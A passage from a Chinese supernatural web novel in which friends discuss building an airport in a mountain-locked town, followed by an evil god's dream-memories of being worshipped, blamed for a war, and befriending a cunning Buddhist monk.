“所以你为什么要提出建飞机场?别说自己是个外行所以随口一提,那不是你的作风。” 不是他私心偏袒,是这么长时间的经历和事实已经向所有人证实:谁都可能无的放矢、不懂装懂,但谢叙白一定不会这么做。 就是当初什么力量都没有的时候,谢叙白说自己一定会尽全力救下他,如今不也这么做成了吗。 岑向财脑袋往车窗上一靠,视线落在后视镜上。 小小的镜面清晰地倒映着谢叙白温文尔雅的眉眼,自然下弯的眼尾像坠在水池的柳枝,轻轻一晃便撩起一池涟漪。 他想起幻戏中有谢叙白这个兄长照料的十多年,想起最后一刻他心存死志松手坠入河里,谢叙白突然出现捞起他冲出水面的震撼和不可思议。 心里漫不经心地想。 ——真真威武得像天神下凡一样。 谢叙白不知道岑向财在想什么,似乎没来由地消了气,心情还好上不少。 谢叙白笑了笑,干脆直截了当地说:“当然是外行的话,所以不如你这个出类拔萃、才高八斗、能力出众的金牌大秘书考虑得周全实际。” 他叹息道:“我只是想这满山被困囹圄的怨气,能有个出口宣泄出去。” 淡白月光洒入车内,从谢叙白的眼眸里一掠而过,沉静平和,映出四面巍峨壮阔的青山。 山势连绵,层层叠叠,像密不透风的围墙牢笼。 “四面环山,本是很好的风水局。但后来几经战火,千百条向外的水路被阻塞,是以水被群山包围,无法流通,变成了有碍财运和事业发展的‘困水局’。” “也因为这一原因,即使红罂镇的怨魂被超度,满山怨气也一直凝而不散。因为那不止是一个村镇的怨念,是上百年来无数逃不出大山的人的痛苦和执念,是这片土地的怀恨和遗憾。” 岑向财嘴角勾起的一抹弧度,在谢叙白的一字一句中慢慢下降,又紧紧地抿在一起。 仿佛应召着谢叙白的话,不远处的山林无端刮起一道强烈的飓风。 它当空呼啸,势若破竹,撞开挤挤挨挨的枯藤老树,却在最后被嶙峋岩峰逼退回去,在逼仄狭隘的山谷间横冲直撞,哀戚回响。 声声彻耳,仿佛掺杂着无数怨魂的哭嚎。 “要是能想个办法打破,再好不过。”谢叙白通过后视镜,对上岑向财的视线,眉眼弯弯,“建一个飞机场,不正是天高任鸟飞吗?” 岑向财浑似被烫到一般,心脏狠狠一颤。 他知道,每当谢叙白用平和的语气提到“想个办法”,往往脑子里早就已经盘算出十几甚至几十个方案。 其中一项或某几项,谢叙白认为可行性比较高的,不出三天,必将着手去做。 岑向财许久都没有说话,一时间也不知道自己在想什么,双臂环抱,抖颤的手指用力地掐住臂弯。 呼吸变快了,心率变快了,浑身血液像是被一把火点燃。 岑向财感觉到甜,感觉到眼热湿润,感觉到兴奋和心潮澎湃,疯狂抖腿坐立不安。 他觉得自己现在不应该在车里,应该在盛天集团,在灯火通明的会议室紧急召开股东大会,和全公司乃至其他公司相关领域的精英通宵达旦、绞尽脑汁,用最快的速度最强的效率最靠谱的手段,从飞机场的建成到落地实施列出一系列成熟可行的企划方案。 好在理智尚存,岑向财硬生生掐灭跳车的冲动。 “话虽这么说,但改变哪有这么容易?”虽然在反驳谢叙白的话,声音却很小,很柔和。 看着那些山,他感到棘手地拧紧眉头:“首先这地形……” 谢叙白:“是,平坦开阔和可视度高是必要条件,想法再美好也不能脱离这一现实,要是正常情况真没什么办法。” 他笑着看向小触手。 被金光安抚舒服的小家伙,细长的脑袋尖尖正一下下地拍在他的手背上,像猫儿慵懒瞌睡时,不由自主甩起来的长尾巴。 谢叙白:“小一,你看左边那座山,如果它挡了你的路,你又绕不开它,该怎么办?” 小触手蹭着他的手腕呼噜两声,不假思索:“砸碎不就好了嘛。” 对此,平安摇着尾巴积极地表示赞同:“汪!” 它能变大,也可以帮忙! 谢叙白一哂:“那可不行,不能破坏环境。你要是把山砸碎了,生活在上面的动物怎么办?” 小触手哼哼,觉得没难度:“不能砸碎,移走也一样嘛,选个合适的地方搬过去。” “就是这样。”谢叙白看向目瞪口呆的岑向财,笑道,“移山倒海对我们来说很难,对那位可不成问题。” 所以他提出建议时,宴朔是沉思和琢磨,而不是笑他不切实际异想天开。 岑向财这下真被惊成了个傻子,潜意识里还是觉得不可能,结巴道:“但是,但是这项企划工程太宏大了。想要完成,工期都要按年计数。哪怕是建一个农家乐、旅游村,甚至开办一个商圈都更可期。” “现在要耗费这么大的力气,建一个不知道能不能获得收益的飞机场,宴总他……” 谢叙白顿了顿,扫一眼所有人的反应。 他和岑向财正在谈论的内容,裴玉衡和谢凯乐插不上话,全程都在安静地聆听。 听到岑向财提起宴朔的作风,名义上算宴朔侄儿的谢凯乐,深以为然地点了点头。 裴玉衡和宴朔的分身(医院防卫科)共事多年,非常了解它们有多疯狂邪性。 刚才和本尊见了一面,坏印象更是只增不减,听到岑向财一说,便扯唇冷笑。 他们一致认为,宴朔冷漠无情,绝对不会是什么慷慨仁善的主。 而他们的态度,其实也能说明宴朔身边的下属、“亲人、同事和路人,对他一贯的看法。 谢叙白眉宇下压,心里有点说不清道不明的难受。 一路装死尸的金丝眼镜突然在这时动了,避开众人的视线和感知,轻轻揉捏一下谢叙白的耳垂。 动作轻挑散漫,略带一丝看好戏的玩味——某邪神似乎很满意自己的风评。 不像某人,骂谁好人呢。 谢叙白:“……” 他用精神力将金丝眼镜不安分的触角抽了回去,停顿片刻,淡淡一笑,和岑向财说道:“你们这可是赤裸裸的偏见了啊。如果那位没这个想法,刚才又为什么要听取我的建议?” 岑向财腹诽宴朔可能发现了什么商机,下一秒谢叙白又问:“说起来,海跃,你在宴朔身边干了这么多年,有没有看出他为什么要开公司?” 新的称呼,听着难免有点陌生不适应。但听到自己的字被好友唤起,岑向财一时又生出难以言喻的开心。 他摸摸鼻子:“还能有什么原因,那位喜欢钱。” “喜欢钱,所以成立慈善基金会,大把的钱往外送?”谢叙白莞尔反问,“喜欢钱,所以亲力亲为跑出来抓捕恶诡,将它们调教成能赚钱能弥补受害者的劳动力?” 岑向财一时间被问住了。 他语塞不知道怎么反驳,又见一抹金光从驾驶座飘过来,里面包裹着的气息非常亲切。 岑向财瞳孔一凝,想到一种可能,心脏跳得飞快,不管不顾地接住金光,摊开手一看。 果不其然是他的骨片! 岑向财后知后觉自己为什么能脱离盛天集团,在外面自由晃荡,惊愕透着莫大的喜悦:“你怎么会有?什么时候——” “这可不是我的功劳。”谢叙白如实回答,“小一负责挖遍公司外墙,把它们一点点抠出来,至于粘合复原那部分,应该是宴朔的手笔。完整的骨片也是宴朔亲手交给我的。” “……???” 岑向财不可思议地盯着骨片,表情越来越扭曲,两眼放空,在风中凌乱。 他现在的感觉,就像很久以前被人强行喂了一只疯狂蠕动的蟑螂,到今天还能咬牙切齿地记起当时被吓得吱哇乱叫,疯狂漱口几十遍连舌头都恨不得咬断,最后终于崩溃认命的无助。 如今却有人告诉他,那只蟑螂其实是块被施加魔法的蜜糖,就像哈利O特里的巧克力青蛙。 谢叙白看一眼副座不吭声的裴玉衡,笑道:“宴朔怎么想的,我不太了解。但常言道君子论迹不论心,回顾他做的那些事,其实也没你们想的那么坏,是不是?” 语气温柔又笃定。 裴玉衡瞥他一眼,不自在地嗯了一声。 金丝眼镜又一次无声无息地揉捏上谢叙白的耳垂,漫不经意,又爱不释手。 岑向财以手扶额,目光呆滞。 他需要缓缓,整理自己破碎的世界观。 谢叙白从后视镜里看他的反应只想笑,超“不经意”地提醒他:“还有一件事,当初你不顾规则之力冲出宏润公司,差点魂飞魄散,是小一不停央求宴朔救的你。” “你醒来不感激也就算了,怎么还不分青红皂白地踹了它一脚,难道不该给小一道个歉,再好好道一声谢么?” “……”岑向财看向小触手。 小触手一听这话,瞬间精神抖擞地立了起来。 那一脚它早就还了回去,不过谢叙白愿意为它做主,还有机会让岑向财吃瘪道歉,还是挺让孩子乐呵的。 “对不起,谢谢。”岑向财抽了抽嘴角。 狐假虎威的小触手晃得更嘚瑟了,柔软的身体像海草一样摆来摆去,志得意满地笑:【大人有大量,不跟你见识,哼哼。】 岑向财一阵气,又觉得好笑,背往后面一靠,犀利点评:“我看你是小人得志。” 甭管这个项目提案在现实条件下有多离谱,只要宴朔拍板叫好,那基本上就没有更改的可能,也没有其他人争辩的余地。 不过也多亏谢叙白给出了一个让顶头上司满意的提议,至少今晚岑向财不需要赶着回公司加班了。 盛天集团的大门已经不是阻碍,曾经奢望的自由也已经捏到手里。 现如今摆在岑向财面前有两条路,一是去酒店将就一晚再从长计议,二是即刻撂担子买机票去世界各地扬帆起航。 如果换成以前,岑向财会毫不犹豫地选二,但现在…… 岑向财看向窗外。 车窗留出一丝缝隙,风灌进来,清新沁凉,带着山林独有的草木气息。 没什么车的公路看着很开阔,两边路灯飞快闪过,一道道暖黄的光晕映入眼帘。 前方畅通无阻,一望无际,广袤无垠,穿过起伏叠嶂的群山峻岭,仿佛能一路行驶到世界尽头。 “谢哥哥——” 某不要脸的二流子突然嗲着声唤人,那千回百转、缠绵悱恻的腔调叫得谢叙白的手差点一哆嗦。 岑向财嬉皮笑脸地凑过去,眼巴巴地央求:“母亲已走,海跃现下无处可去了。好心哥哥,就收留一下可怜的海跃吧。” 另外两人一狗登时像看鬼一样看着他。谢凯乐摸着胳膊上的鸡皮疙瘩:“好恶心啊你,能不能正常说话。” 岑向财满眼戏谑,正想再逗弄两句,忽然听到前面的谢叙白发出一声轻笑。 到底是谢叙白心态稳,没两秒就适应了他的装腔作态,一脸莞尔地瞥向后视镜,故意反问:“难道我们不是在回家的路上吗?” 呼呼—— 车窗开得大了点,长风从天际而来,呼啸灌入车内,吹得鬓发翻飞。 不知何时,天已然亮了。昏暗深沉的地平线翻起一抹鱼肚白,朝日灿红的晖泽在山涧铺开,渐似明亮热烈的火焰烧上云霄,如梦似幻。 一缕阳光透过云层洒向大地,温柔落入岑向财不断颤动的瞳孔。 在他的身边,猫猫狗狗的魂灵安逸地挤在一起,睡得昏天黑地。平安大大地打了一个哈欠,将脑袋搭在爪子上,也舒舒服服地闭上眼。 副驾驶座,面色冷清的裴玉衡无声抬起手指,润白色的精神力散开,为谢叙白补足匮乏的精神力。 谢凯乐翻出他宝贝至极的糖果,分给前座的两人,不舍的小眼神觑向旁边的岑向财:“我记得你不爱吃甜的,对吧?” “……”呼啸的风声中,岑向财的嘴角无声上翘。 他猛一下将手伸过去,也没看清楚怎么动作,谢凯乐满袋子糖果被他一把抓走大半。 岑向财拆开糖纸往嘴里一抛,手上抓着五颜六色的糖,笑得贼欠揍:“你怎么知道我最喜欢吃的就是糖了?” “……!!”谢凯乐裂开了,差点气得当场变龙,扑过去抢,“强盗啊你,还给我!” 两人正吵吵闹闹着,谢叙白驾车开入山洞隧道。漫长的黑暗之后,忽见前方乍放一抹光亮,随后越来越亮。 呼啦一下。 车子如离弦利箭驶出隧道,上高速,过安检,迎着朝日灿烂的余晖,汇入车水马龙的主干路。 密闭高耸的群山和尘土被抛在车后,渐行渐远,缩成一个模糊的小点,最后消融在朦胧的云雾中,再也看不见。 …… 好友岑向财能够脱离循环,于谢叙白而言也算履行曾经的约定,了却心里的一桩大事。 只是这天沉沉睡去,他忽然再次做起那个奇怪的梦。 像是恍惚的灵魂无意识迈入历史长河,落入一段失落蒙尘的旧影。 谢叙白的意识在嘈杂的嗡鸣声里翻出水面,逐渐清晰。 他依旧能清楚感知自己在做梦,看到头顶深邃静谧的星空,嗅到空气中冰冷的潮湿气,混杂着淡淡的苦和咸。 他的眼前一片昏黑,意识到自己受了重伤。身体不稳,走得晃晃荡荡,搀扶着树身的五指猛然攥紧,指尖因大力而泛白。咸腥的血液涌入喉头,又被他硬生生地咽了回去。 “——” 远方再次传来呼唤,一声接一声,柔和缱绻,似潮起潮落。 第一次做这梦,梦境终结在谢叙白努力往声源处走去,却在半路遇上山崩地裂,最后猝然醒来。 此后他又做了几次一样的梦,结果都一样,乍然转醒,茫然呆滞地沉浸在毫无缘由的难受中,心脏一抽一抽的疼,什么都记不起来,也分析不出。 他以为这次也会是一样的结果。 但下一个呼吸。 “——!” 缥缈的呼唤在耳畔骤然放大,如惊雷落地。 同时两只坚硬结实的手臂凭空出现,用力地拥他入怀,强劲的指骨绷紧到微微颤抖。 谢叙白的目光骤然凝滞,仓促抬头。 第160章 梦 科学意义上来讲,梦境是睡眠时大脑活动的一种表现形式,与人们的现实生活、欲望和思想息息相关,是反馈潜意识的窗口。 反复来回的梦境,可能藏匿着梦境主人不为人知的焦虑和压力。 宴朔已经记不清自己有多久没做过梦了。 凡物成神的一瞬间,身体会在爆发性增长的力量轰炸中完成从有机体到原子结构的淬炼重组,各种先天畸形、代谢性疾病、基因病等生理缺陷将在这个过程中被一扫而空。 既然不会神经衰弱,感受不到焦虑,不存在睡眠障碍,自然也不需要做梦来减轻压力。 祂们的梦境,是无形的识念发散出去,于世界各地和时空长河中捕捉到许许多多细枝末节和危险的端倪,于是潜意识警铃大作,疯狂地发出示警。 而这种示警,往往彰显着某种命运性的指示。 在谢叙白沉入反复无边的梦境时,宴朔也久违地做起了梦……不,与其说是做梦,倒不如说那是一段久远到模糊年月的过去。 那时的祂记不清第几次从海里爬上岸,触手搭着饥肠辘辘的肚子直皱眉头。 现在的祂是完全体,荤素不忌,捡点世人散发的怨气就能简单对付两口,但年幼的祂却是极其挑嘴,莫名娇气,非生灵至精至纯的信仰不食。 这万物生灵,又以得天独厚的人类为首。 因此祂上岸后的第一件事,便是找个心思单纯又遇到危险的人类救一救,再让ta信自己。 人间变化很大,几千年不见,原本空旷荒凉的土地竟冒出一个个四四方方的木罩子,分布在道路两旁,错落有致,有的精致多颜色,有的简陋寒酸。 祂没费多少功夫,便通过随风传来的细碎言论,得知那些木头罩子是人类搭建出来的房子,用来遮风挡雨的住所。 若只是住所,那没什么好稀奇的,关键在于一部分房子被赋予上“家”“宗族”的称谓,竟在无形中聚集起个人或多人的信仰。 本着终于能一饱口福的期许,祂马不停蹄地挥动触手跑了过去。 刚巧遇到某个大家族的少族长遭到暗杀,被刺客砍掉一臂,血流如注,奄奄一息。 祂在旁细细审视,观少年心性纯良,没有奸恶心思,便出面将人救下。 末了,祂若有所思地将那条断臂捡起来,引动力量,勉强给少年缝补回去。 如此神异一幕,吓得众人脸色苍白,咋咋呼呼跪地叩拜,直呼神仙显灵。 意外得救,少族长大喜过望又感激涕零,在听过祂想吃饱的诉求,当天便将此事上报宗族长老,为祂修建祠堂佛像,享有族人香火供奉。 因祂不爱动弹,时常便留在人类为祂建立的第一所祠堂中休憩。佛像的脑袋圆润光滑,直径大小合适,八根触手懒懒地搭上去,刚好可以将吸盘舒展开。 如此睡得舒服,心情自然也好,遇上族人供奉祈愿,祂向来不吝帮忙。 殊不知有贪婪心黑者误以为祠堂内的佛像就是祂的化身,消息一经传出,引来无数人趋之若鹜,各地王侯将相也被惊动。 无数人千方百计想要将佛像抢在手里,一人吞并所有的好处,少数人的争斗,不消多日便扩张为滔天战火。 灾难就此降临。 几千年前,人类还是未开化的野人,加上资源匮乏,四面有猛兽潜伏,时常遇到寒潮洪灾、风暴饥荒,重病受伤后折损的性命不计其数,多方消减后,一个部族顶天也就一两百人,就算争斗也不成气候。 远不像如今几十上百万人联合在一起,修建起广厦城邦,一旦兵戈相向,动辄便是伏尸百里,血流成河。 祂无端被吵醒,看着四下蔓延的战火,听着外面凄厉的惨叫哀嚎,供奉香火的族人百姓惨被杀害,昔日的平静宁和眨眼间不复存在,莫名其妙的同时,一股邪火愈演愈烈。 偏偏在这时,有劫匪踹门而入,四处打砸,好端端的陶瓦器具被摔得稀巴烂。 彼时的祂,按照人类的说法,将此地宗族为自己修建的祠堂定义为“家”,亦是祂除却诞生之地外的第二领地。 领地被无端侵入,对所有占有欲强烈的怪物而言都是宣战,是不可饶恕的冒犯! 祂当即暴怒,强大的力量如山呼海啸般震荡出去,电光火石之间,碎石飞溅,兵刃尽裂,外犯者,皆在不可抵挡的冲击中化为灰烬,连惨叫都发不出。 可祂万万没能想到,外犯者消失了,战火竟然还没结束。 那些有着熟面孔的本族人依旧在厮杀,双眼赤红,仿佛不死不休。 祂愕然。 捕捉风中传来的呢喃私语,方才知道这次的争端,源于祂能让人得偿所愿的消息遭到泄露。 而且消息的泄露不是偶然,是族内那些不甘居于人下的派系和外敌暗中勾结,为一己私利,不惜制造这场惨绝人寰的争端。 祂不明白。 明明所有人分摊到的收利相差无几,在祂的庇护下,日后还会有源源不断的财富进账,为什么会有人只为在眼前的分利中多得到一块金子,就和昔日的手足同袍翻脸,甚至设计谋害他们的性命? 或许是被率领的那些族人,有许多是迫于情义听命行事,他们的灵魂并未污浊到让祂嫌恶的地步,在怪物的观念中尚且罪不至死,至少没恶心到想杀死的地步。 又或是看着那一张张熟悉亲切的模样,叫祂觉得死了可惜。 更或者,祂触目所及之处,皆是纷争不断,趁火打劫、浑水摸鱼的家伙实在太多,多得只要祂一出手,这偌大的城邦,便再也剩不下几个人来。 能将力量掌控到极致的祂,忽然不知道该如何动手。 若是谢叙白在现场,当是能从祂抬起又放下、放下复抬起的几根触手上,看出几分无所适从。 可在当时,没有人能够承受邪神本体的精神污染。祂也早已屏蔽掉所有人的感知,无人能够看见祂的茫然。 家园被毁,悲痛欲绝的人们冲进祠堂。 他们如往常那般,祈求祂大显神通,将那些背叛者千刀万剐、碎尸万段,叫他们永不超生。 却怎么都得不到回应。 他们更觉愤恨,撕心裂肺地大吼,残败的祠堂依然死寂。 人们茫然地抬头,看见无悲无喜的佛像屹立在滔天战火中,在浓郁到令人作呕的血腥味里,高高在上,无动于衷。 这场纷争持续到最后,是少族长于危急之刻请来援兵,强势镇压叛乱。 他满身血污,鬓发散乱,甲胄碎裂成无数块,仰头看向满目疮痍尸横遍野的城巷,听着手下用悲愤的语气,不断吐露的伤亡数字,嘴角一点点绷紧。 终于,在听到族内亲辈多都不幸遇难,少族长蓦然目眦欲裂,蛮力操起战锤,哐当拖拽在地,大步流星冲进祠堂。 他正看见佛像上沾着许多个血手印,身上还有鲜血残留,是幸存的人们绝望至极,扑上去请求时按在上面的印记。 血迹蜿蜒,透着不祥。 平日被他们视若祥瑞的佛像,在人们止不住的恸哭声中和昏暗的阴霾下,平白多出一丝诡谲的邪气。 仿佛那才是它真实的模样。 “邪物,邪物……!” 少族长惨白的唇皮哆嗦着,嚅嗫着的每一个字眼都翻涌着无边怨怼,奋力挥动战锤,将佛像轰的一声砸成碎石:“就是你这个邪物作祟,挑起是非战火,害得我们家破人亡,害得生灵涂炭!”《 》 160-170 第161章 愿您尝遍人性之美…… 一句“匹夫无罪,怀璧其罪”可阐述这场灾难的成因。 一句“人为财死,鸟为食亡”可总结为什么外犯者在前,自己人却在内讧厮杀。 一句“厉色扬声,东怨西怒”可诠释迁怒者的卑劣,人性软弱处的不堪。 其间种种,书中皆有记载。历史宛如周而复始的怪圈,一次次重演昨日的悲剧。 可现实终归不是书中冷冰冰平铺直叙的文字。 哪怕三言两句就能解释清楚为什么会出现这种情况,在看见昔日虔诚温良的信徒突然疯魔,扑上来恨不能将祂挫骨扬灰时,小黑章鱼一时间也是茫茫无措,极其想不通的。 就是这么一错神的功夫,战锤携风狠狠袭来,“嘭!”碎石飞溅,佛像颓然垮塌。 承载物没了,失重感接踵而至,小黑章鱼猝不及防跌下佛像的脑袋,噗叽一声摔在地上。 分不清是被摔懵了,还是神生从没被这么蛮横对待过,祂翻过身,抬起脑袋,震惊难言,愣在原地好几秒都没有动弹。 直至下一秒。 看见少族长怒目狰狞,再次高举战锤当头砸来,祂才反射性地一抬触手,连人带锤一块抽飞。 人们蓦然高声尖叫,手忙脚乱地冲出祠堂。 看见少族长头破血流,手中捏着的战锤在冲击下化为齑粉,人们倏然明白发生了什么,回视祠堂佛像,脸上血色全无。 没人再敢对祂出言不逊。 但那一双双颤抖生怖、布满红血丝的眼睛里,分明写满两个大字。 ——邪物。 …… 过去的纷纷扰扰,其实宴朔很少特意去想。 就像谢叙白说的那样,祂的记忆有一处空白的地方,始终找不回来。 那块缺口一直在那,像一条填不满躲不开的沟壑,横贯在宴朔的脑海深处。 每当祂思及过去,率先想起的是它,时常生出的暴怒怅惘,依旧是因为它。 可是今日,那缺口竟是松动了。 谢叙白曾经告诉宴朔,建设好精神世界对恢复记忆有益。 在年轻人类的悉心打理和宴朔状似不经意的时时注目下,原本疮痍荒凉的精神世界,如今已有一片繁花似锦,潋滟风光。 宴朔不清楚缺口松动,是不是谢叙白提出的方法终于奏效。实际上,祂完全没顾得上去注意那些有的没的。 当记忆里的迷雾被拨开,察觉到自己即将想起点什么的一刹那,宴朔像是被魔法定格,整个身体猝然一僵,动都不敢动。 祂愤怒了那么久,空虚了那么久,找回这段记忆早已变成刻入骨血的执念,生怕自己多做点什么,就会惊散这好不容易浮出水面的希望。 可祂又不敢什么都不做,怕机会转瞬成空。 于是所有精神力躁动狂喧,山呼海啸地奔涌沸腾,拼尽全力又小心翼翼,拽住那一点微小的线头死也不肯放手。 困惑、渴望、期许,还有一丝隐藏至深的不安。 各种说不清道不明的情绪混乱地挤作一团,过往画面犹如走马灯般飞速闪现。 那场战火,祂沉默良久。无论是反驳还是发怒,祂都没有多少经验,于是憋着一股没来由的气,将百姓给祂建造的祠堂尽数毁掉,一块砖一炷香都不肯留,闷着脑袋,不吭不响地挥动触手爬走。 白驹过隙,山川更迭。 此后,祂又有几次因为捱不住饿爬上岸。多数时候是藏在暗处,帮过人,吃完信仰就走。 但这样不留名不现身,信仰存续的时间太短,实在饿得太快,每每来不及再吃一顿,小黑章鱼的肚子就迅速瘪了下去,饿得它愤愤砸石头,想上街乞讨。 加上当时流传狐媚精怪之说,言道妖魔最喜欢以善容诱拐世人,再伺机将人吞吃入腹,小黑章鱼救完人却不敢以真容示人的举止叫人怀疑,会发自内心感谢祂的人就更少了。 那些获救的人,往往会在第一时间一惊一乍地蹿走,直至与人群会和,方才拍着胸脯夸耀自己刚才机灵,没有着了妖魔的道。 小黑章鱼:“……” 就很气。 当时还有个大名鼎鼎的普德寺,寺内有个十分了不得的僧人。 据说他出生伴随着祥瑞异象,龙鸣凤舞,百鸟盘旋,苦旱田地天降甘霖。后来年纪轻轻便习得高深佛法,下山历练屡行奇事。 其中,最让人津津乐道且广为流传的功绩,便是在狂放贼寇大肆屠杀时,劝人放下刀刃束手就擒。 原以为是自寻死路,谁知道叫他巧舌如莲一通游说,竟是成功了,惊掉无数人的下巴。 随后他又在穷山恶水之地开坛布道,也成功了! 要知道那些刁民大字不识一个,礼仪仁善全当放屁。若有人拿着稻谷猪仔教他们农耕畜牧,他们能反手将种子和猪全丢进锅里烹了吃,然后举着柴刀逼着那人把钱都掏出来,凶恶丑态淋漓尽致。 可那名僧人连这群人都能教化。 这些事迹,一度在当地引起轩然大波,世人对其推崇备至,将其称为佛子转世,可解苦者百惑,度万鬼皈依。 彼时的小黑章鱼已在人间游历了相当长的一段时间,早已看透世人自负虚伪,多是沽名钓誉之辈。 听说这名僧人的奇闻后,祂不信,毕竟连识念广布的祂都做不到为世人解惑。 但它还是没忍住去了,因为心有愤懑,找不到答案。 更重要的是饿肚子真的很难受。 真的也好,假的也罢,祂想知道那名僧人怎么斩获那么多人的信仰。若是对方不肯教,祂便藏起来偷学。 刚巧遇到那名僧人历练归来。 盛夏蝉燥,旭日当空,半边天幕仿若披上一层缥缈的流金织锦。 那人立在莲池桥上,体态颀长,腰背笔直若劲柏,肤色冷白若冰雕雪砌,雪白袈裟随风蹁跹,如玉指尖拨动檀木佛珠。 又见他阖目垂睫,微微侧耳,嘴角缀着一抹清浅的笑意,似乎在听泉音清脆。 最是惹人处,当属他眉间一点朱砂红痣,在潋滟晴空下美得摄人心魄。 小黑章鱼勾在竹子上,几乎看愣了神。 忽然那名佛子转过头来,正对着祂所在的方向,微微扬唇,朗声笑道:“哪来的小妖躲在暗处偷看贫僧,这般不知羞?” 小黑章鱼:“……” 祂收回对方作假的前言。 这小光头确实有些神通。 不过道行尚浅,祂可不是那些不知所谓的小妖,本貌亮出来能叫这小光头五窍出血,当场暴毙。 那日祂没有吭声,年轻佛子也不知怎的,温和地笑了笑,行事如常,佯作不知。 但他们之后还是认识了,因为小黑章鱼憋不住话。 祂的肚子饿得咕咕叫,忍无可忍地指着庙堂内被香火供奉的佛像:“我和它到底有什么不同,为什么世人宁愿信奉一尊石雕,也不肯信我?我能解救他们于水火,这石头只会立在这里看着。” 佛子却笑着道:“这可不是一般的石像。” 小黑章鱼拧着眉头不忿:“有什么不一般?” 佛子言:“昔年普贤大师亲自开光,有气运加持,灵验得很。” 小黑章鱼:“……” 佛子又言:“而且你瞧它外壳金光闪闪,好不耀眼,没看出它被镀上了一层金衣吗?” 小黑章鱼:“…………” 佛子意味深长地笑道:“常言道,人靠衣装马靠鞍呐。” 小黑章鱼抬起触手,看看自己黑不溜秋的皮肤,又看看金光灿灿庄严圣洁的佛像,忽然气闷,倔强地嘟囔:“有什么了不起,我也被人供奉过,同样立过祠堂被人敬仰。” 佛子没有半点质疑,温柔低笑道:“你说这话,我倒是信。” 常被这人调侃,冷不丁听见他郑重其事的口吻,小黑章鱼忽觉不可思议,还有点微妙的异样,反问:“你为何相信?” 佛子:“毕竟这些石头只会立在庙堂看着,而你是真的解救过他人的性命,帮衬过穷苦百姓。” 听他这番惊世骇俗的发言,饶是无法无天的小黑章鱼都震惊了,第一反应不是自得,而是喝止:“你当着祂们的塑像说这话,难道不怕祂们听见?” 祂与佛同为神祇,善征战杀伐,便是调侃佛像只是无能的石头,也没谁敢跳出来揍祂。 可是眼前的佛子不一样,这天下哪个修佛之人敢明晃晃地不敬神佛?那不是找死是什么? 话音未落,佛子闷哼一声,似乎受到无形诘难,踉跄半步勉强站稳,嘴角溢出一抹鲜血。 小黑章鱼一时忘记隐蔽,心惊胆战地跑上去搀扶,却看见佛子倏然抬头,对着满堂佛像掷地有声:“听见便好。” 说罢,他顺着被拉扯的力道,勾住小黑章鱼的触手尖将祂挑起,盘在掌心,往庙堂外走。 “比想象中小一点。”佛子笑。 他笑得风轻云淡,轻描淡写,没有半点被责罚警告后的羞愤,日光下双目亮得晃眼。 小黑章鱼吸取曾经的经验教训,用于行动的体态,是用精神力捏造出来的,不算祂的真身本貌,即使触碰也不会造成损伤。 但就这么堂而皇之地被人抓在手里,也是极其不适应的。 祂挥动触手,将佛子揉上来的手指打掉,色厉内荏地斥上一句“没规没矩”。 随后又挥动触手,顺着佛子的手臂哼哧哼哧往上爬,八根触手懒散摊开,边调整大小,边在年轻佛子的脑袋上安了窝。 佛子双目锃亮炽热,若皓月繁星,祂心中欢喜,没按捺得住,蠢蠢欲动地蛊惑道:“既然如此,你也莫信那些无能的石头了,干脆来信我,怎么样?” 小黑章鱼话出有因。 祂直觉佛子的信仰会非常美味,吃到嘴里意犹未尽的那一种。 即使被小黑章鱼蹬鼻子上脸,佛子也不见气恼,柔和一笑,轻轻松松地说:“好啊,若你多结善果,我便信你。” 小黑章鱼:“那是要多少?我救的人足够多了。” 佛子心平气和地说道:“善事不一定要会结善果,要找对方法才行。” 小黑章鱼似有所悟,突然想起佛子以前的事迹,本着好奇询问:“你如何劝服那些贼寇放下屠刀?” 佛子略一停顿,听出小黑章鱼掩藏的神往,失笑回答:“没那么玄乎,我只是告诉他们,他们的老大早已听到风声卷款逃走,并且准备将脏水全泼在他们的身上,再不去追就晚了。” “……” 小黑章鱼瞪大眼:“那你如何教化那些刁民修习佛法?” 佛子气定神闲:“自然打服的。” 小黑章鱼:“??” 佛子:“他们偷贩私盐,和山贼勾结谋财害命,官府早有清剿的想法,但突然出击恐打草惊蛇。 我便毛遂自荐,带着乔装后的官兵进去摸底,时机一到,里应外合将他们一窝端。” “送去服役前,我天天去狱中教他们背律法,背不会,一鞭子,慢慢也就会了,那县令还要多谢我帮他训责不听话的匪徒。” 小黑章鱼瞠目结舌,又觉头晕目眩,有种想象幻灭的恍惚:“那,那你岂不是一直在诓骗世人?” 佛子察觉祂的僵硬,丝毫不觉羞愧,像狐狸浑不在意地甩出自己的大尾巴,笑声中透着点点狡黠,指尖点点祂的脑门:“明明是妖怪,怎这般天真,这可不行,日后容易上当。” …… 祂果真是上了当。 后来祂与小和尚一块出行历练,按对方的说法行善事,每每事成,确实能收获小和尚发自内心的感激,也如祂与预料中一般美味可口,回味无穷,如琼浆玉露,难言餍足。 可那感激点到即止,祂来不及尝个够,就会被小和尚无情无义地收回。 ——天知道他是怎么将自己的情绪收放自如,这又不是荷包里的银两,说拿就拿,说收就收! 总之小黑章鱼气闷不已,总觉得自己是被胡萝卜钓着的驴。 加上小和尚巧言善辩,每每闹得不痛快,被人温言细语一通揉搓,气便消解了,像一触手抽进棉花里,发泄也发泄不出来。 最让小黑章鱼看不惯的是,那小光头厚颜无耻,天天囔囔自己将命短早陨,只因“慧极必伤”,所以小黑章鱼要早做准备。 祂竟然也信了他的鬼话,为此惴惴不安好长一段时间。 祂又没有治愈的能力,尚在成长期,窥不透命数,便找人观面相测气运,寻方设法为佛子延长寿命。 后来发现那都是胡言乱语,又叫小光头不着边际地念叨无数遍,耳朵都要起茧子,一律当成耳边风。 再后来…… 乱世暴乱频发,饿殍遍地,烽火连绵,硝烟弥漫。 祂被人间铺天盖地的浓郁恶念熏得作呕,萎靡不振,终日提不起精神,感觉自己快要死了。 小佛子将祂安置在佛堂密室内,暖热掌心拍着祂圆滚滚的脑袋,唱起民间小调,眉眼如玉温润,柔声哄祂入睡。 待祂昏昏沉沉地睡过去,再次醒来,惊愕发现寺庙内那尊镶金的肃穆佛像,一身金片全被拆解了下来。 小黑章鱼抓住洒扫僧人一问,方知道那竟是小佛子干的!拆下来用于购买粮食,救灾济民。 可也因为他冒犯佛祖之大不韪,洁净双手长满狰狞荆棘,鲜血淋漓,贯穿骨肉,痛彻心扉,且因偷盗罪过,被普德寺除名。 同是那几天,叛军一路烧杀劫掠,攻破城池。 他们抓来无辜百姓,胁迫佛子承认他们的叛逆谋反,是替天行道,拨乱反正。 他们要借这位声名在外的圣僧之口,为他们戴上名正言顺的冠冕,颠倒是非,混淆黑白。 